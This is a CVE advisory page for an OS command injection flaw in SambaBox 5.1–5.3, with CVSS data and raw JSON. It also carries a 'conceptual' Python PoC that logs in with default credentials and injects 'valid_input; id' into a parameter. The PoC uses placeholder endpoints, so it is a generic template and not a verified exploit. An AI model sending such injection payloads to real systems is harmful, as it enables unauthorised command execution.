Security Vulnerability Report
中文
CVE-2026-3120 CVSS 7.2 HIGH

CVE-2026-3120

Published: 2026-05-04 12:16:29
Last Modified: 2026-05-05 19:34:17

Description

Improper Control of Generation of Code ('Code Injection') vulnerability in Profelis Information and Consulting Trade and Industry Limited Company SambaBox allows OS Command Injection. This issue affects SambaBox: from 5.1 before 5.3.

CVSS Details

CVSS Score
7.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

SambaBox >= 5.1, < 5.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # CVE-2026-3120 PoC Example (Conceptual) # Vulnerability: OS Command Injection in SambaBox # Note: Requires High Privileges (PR:H) target_url = "http://target-sambabox/vulnerable_endpoint" session = requests.Session() # 1. Authenticate (Simulation) login_data = {"username": "admin", "password": "password"} session.post(target_url + "/login", data=login_data) # 2. Inject payload to execute 'id' command # Using semicolon to chain commands payload = "valid_input; id" exploit_data = { "vulnerable_param": payload } response = session.post(target_url + "/api/action", data=exploit_data) if response.status_code == 200: print("[+] Payload sent successfully") print("[+] Response:") print(response.text) else: print("[-] Failed to send payload")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-3120", "sourceIdentifier": "[email protected]", "published": "2026-05-04T12:16:29.393", "lastModified": "2026-05-05T19:34:16.627", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Generation of Code ('Code Injection') vulnerability in Profelis Information and Consulting Trade and Industry Limited Company SambaBox allows OS Command Injection.\n\nThis issue affects SambaBox: from 5.1 before 5.3."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-94"}]}], "references": [{"url": "https://www.usom.gov.tr/bildirim/tr-26-0155", "source": "[email protected]"}]}}